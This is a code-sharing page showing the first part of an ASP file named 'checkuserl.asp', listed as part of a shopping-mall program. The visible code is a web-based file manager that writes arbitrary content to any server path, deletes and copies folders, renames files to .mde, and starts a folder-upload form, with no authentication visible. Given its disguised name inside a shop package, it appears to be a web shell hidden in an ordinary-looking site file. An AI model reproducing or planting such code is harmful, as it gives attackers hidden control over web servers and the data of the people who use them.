📄 checkuserl.asp

📁 商城程序界面漂亮功能强大欢迎交流共同进步
💻 ASP
📖 第 1 页 / 共 5 页
字号:
上一页 1 2 3 45
			ParentFolder = Folder.Path
		Else
			ParentFolder = Folder.Path&"\"
		End If
		
	End If
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileNewSave&TestFilePath="&UrlEnCode(TestFilePath)&"' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=750 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件新建</th>"
	tmpStr = tmpStr & "<tr><td width=80 align=left><strong>文件目录：</strong></td><td><input type=text value='"&ParentFolder&"' name='TestFilePath' style='width:400px'></td></tr>"
	tmpStr = tmpStr & "<tr><td width=80 align=left><strong>文&nbsp;件&nbsp;名：</strong></td><td><input type=text value='' name='FileName' style='width:400px'>(<font color='red'>*</font>不允许加路径)</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align='left' clospan='2' bgcolor='#DEFDC1'><strong>文件内容：</strong></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2><textarea class='input' name='FileContent' rows=23 cols=103 wrap='OFF'></textarea></td></tr>"
	tmpStr = tmpStr & ""
	tmpStr = tmpStr & "<tr><td colspan=2>&nbsp;</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='保存'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.FileName.focus();</script>"

	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileNewSave()
' 功能说明：文件新建的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 7:40 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileNewSave()
	Dim FileName,FileContent,f,tmpState

	FileName     = Trim(Request.Form("FileName"))
	FileContent  = Trim(Request.Form("FileContent"))
	TestFilePath = Trim(Request.Form("TestFilePath"))
	
	If Len(FileName) <= 0 Then
		StrErr = StrErr & "文件名不能为空，请重新填写！\n"
	End If
	
	If Len(TestFilePath) <= 0 Then
		StrErr = StrErr & "目录名不能为空，请重新填写！\n"
	End If
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "目录名不存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	If FSO.FileExists(TestFilePath&"\"&FileName) Then
		StrErr = StrErr & FileName & " 在目录名已经存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	tmpStr   = Right(FileName,(Len(FileName) - Instr(1, FileName, ".", 0)))
	tmpState = 0

	For i = 0 To Ubound(FileEditExt)
		If FileEditExt(i) = tmpStr Then
			tmpState = 1
			Exit For
		End If	
	Next
	
	If tmpState = 0 Then
		StrErr = StrErr & "系统不允许这种类型的文件，请重新填写！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.CreateTextFile(TestFilePath&"\"&FileName,True)

	File.Write FileContent

	Response.Write("<script>")
	Response.Write("alert('"&FileName&" 文件新建成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：ReadText()
' 功能说明：修改文件的扩展名
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ReadText()
	Dim File,extName,FileName,ParentFolder
	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder
	extName  = Right(TestFilePath,(Len(TestFilePath) - Instr(1, TestFilePath, ".", 0)))

	If extName = "mde" Then
		FSO.DeleteFile(TestFilePath)
	Else
		FileName = Replace(TestFilePath,extName,"mde")
		
		If FSO.FileExists (FileName) Then
			FSO.DeleteFile(FileName)
		End If

		File.Copy (FileName)
	End If

	Response.Redirect ""&Url&"?action=Current&TestFilePath="&ParentFolder
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderNew()
' 功能说明：新建文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderNew()
	Call fileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderNewSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>新建文件夹</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>文件夹目录：</strong></td><td><input type=text value='"&TestFilePath&"' name='TestFolderPath' style='width:350px' ReadOnly='True'></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>文件夹名称：</strong></td><td><input type=text value='' name='FolderName' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='新建'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.FolderName.focus();</script>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderNewSave()
' 功能说明：文件夹新建的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderNewSave()
	Dim FolderName,TestFolderPath

	FolderName     = Trim(Request.Form("FolderName"))
	TestFolderPath = Trim(Request.Form("TestFolderPath"))
	
	If Len(FolderName) <= 0 Then
		StrErr = StrErr & "文件夹名不能为空，请重新填写！\n"
	End If
	
	If Len(TestFolderPath) <= 0 Then
		StrErr = StrErr & "目录名不能为空，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	If FSO.FolderExists(TestFolderPath&"\"&FolderName) Then
		StrErr = StrErr & "目录名已经存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	
	FSO.CreateFolder(TestFolderPath&"\"&FolderName)

	Response.Write("<script>")
	Response.Write("alert('"&FolderName&"文件夹新建成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderDelete()
' 功能说明：删除文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderDelete()
	Dim ParentFolder,FolderName
	
	If Len(TestFilePath) <= 0 Then
		StrErr = StrErr & "请先选择文件夹之后再删除！\n"	
	End If

	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "您要删除的文件夹不存在，请重新选择！\n"	
	End If
	
	CheckStrErr()
	
	Set Folder = FSO.GetFolder(TestFilePath)
	
	FolderName   = Folder.Name
	ParentFolder = Folder.ParentFolder
	
	FSO.DeleteFolder(TestFilePath)
	
	Response.Write("<script>alert('"&FolderName&"  文件夹已经被删除!');")
	Response.Write("window.location = '"&Url&"?action=Current&TestFilePath="&Replace(ParentFolder,"\","/")&"'</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopy()
' 功能说明：文件夹的拷贝
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopy()
	Call FileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	ParentFolder = Folder.ParentFolder

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderCopySave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件夹复制</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='FolderToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>复制的文件夹：</strong></td><td><input type=text value='"&TestFilePath&"' name=FolderPath style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='复制'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopySave()
' 功能说明：文件夹拷贝的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopySave()
	Dim FolderToPath,FolderPath,tmpFolder

	FolderToPath = Trim(Request.Form("FolderToPath"))
	FolderPath   = Trim(Request.Form("FolderPath"))

	If Len(FolderToPath) <= 0 Then
		StrErr = StrErr & "请输入要复制到的目标地址！\n"	
	End If

	If Len(FolderPath) <= 0 Then
		StrErr = StrErr & "请输入要复制的文件夹！\n"	
	End If
	
	CheckStrErr()

	If Not FSO.FolderExists(FolderToPath) Then
		StrErr = StrErr & "复制的目标地址不存在，请重新填写！\n"	
	End If
	
	CheckStrErr()
	
	Set Folder    = FSO.GetFolder(FolderPath)

	If FSO.FolderExists(FolderToPath&"\"&Folder.Name) Then
				
		Response.Write "<script>"
		Response.Write "  if(confirm('您要复制的文件夹在目标地址已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FolderCopySaveQuery&FolderCopySaveOver=1&TestFilePath="&UrlEnCode(FolderPath)&"&FolderCopyToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FolderCopySaveQuery&FolderCopySaveOver=0&TestFilePath="&UrlEnCode(FolderPath)&"&FolderCopyToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "</script>"

		Response.End

	End If
	
	If Right(FolderToPath,1) <> "\" Then
		FolderToPath = FolderToPath&"\"
	End If
	
	FSO.CopyFolder FolderPath,FolderToPath

	Response.Write("<script>")
	Response.Write("alert('"&Folder.Name&"文件夹拷贝成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopySaveQuery()
' 功能说明：文件夹的复制的判断
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopySaveQuery()
	Dim FolderCopySaveOver,FolderCopyToPath

	FolderCopySaveOver  = Trim(Request.QueryString("FolderCopySaveOver"))
	FolderCopyToPath    = Trim(Request.QueryString("FolderCopyToPath"))
	FolderCopyToPath    = Replace(FolderCopyToPath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(FolderCopyToPath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FolderExists(TestFilePath)) or (Not FSO.FolderExists(FolderCopyToPath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()
	
	If FolderCopySaveOver = "1" Then
		
		FSO.CopyFolder TestFilePath,FolderCopyToPath

		tmpStr = "<script>alert('文件夹拷贝成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If
	
	Response.Write tmpStr

	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderUpload()
' 功能说明：文件夹的上传
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderUpload()
	Call FileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	
	If Folder.IsRootFolder Then
		ParentFolder = TestFilePath
	Else
		ParentFolder = Folder.ParentFolder
	End If
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderUploadSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件夹上传</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='FolderUploadToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>源&nbsp;地&nbsp;址：</strong></td><td><input type=text value='"&TestFilePath&"' name='Fold
上一页 1 2 3 45
💿 文件大小 4351 K
👤 上传用户 jessica12332145
📂 所属分类 SCSI/ASPI
🏷️ 相关标签

#商城 #交流 #程序
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -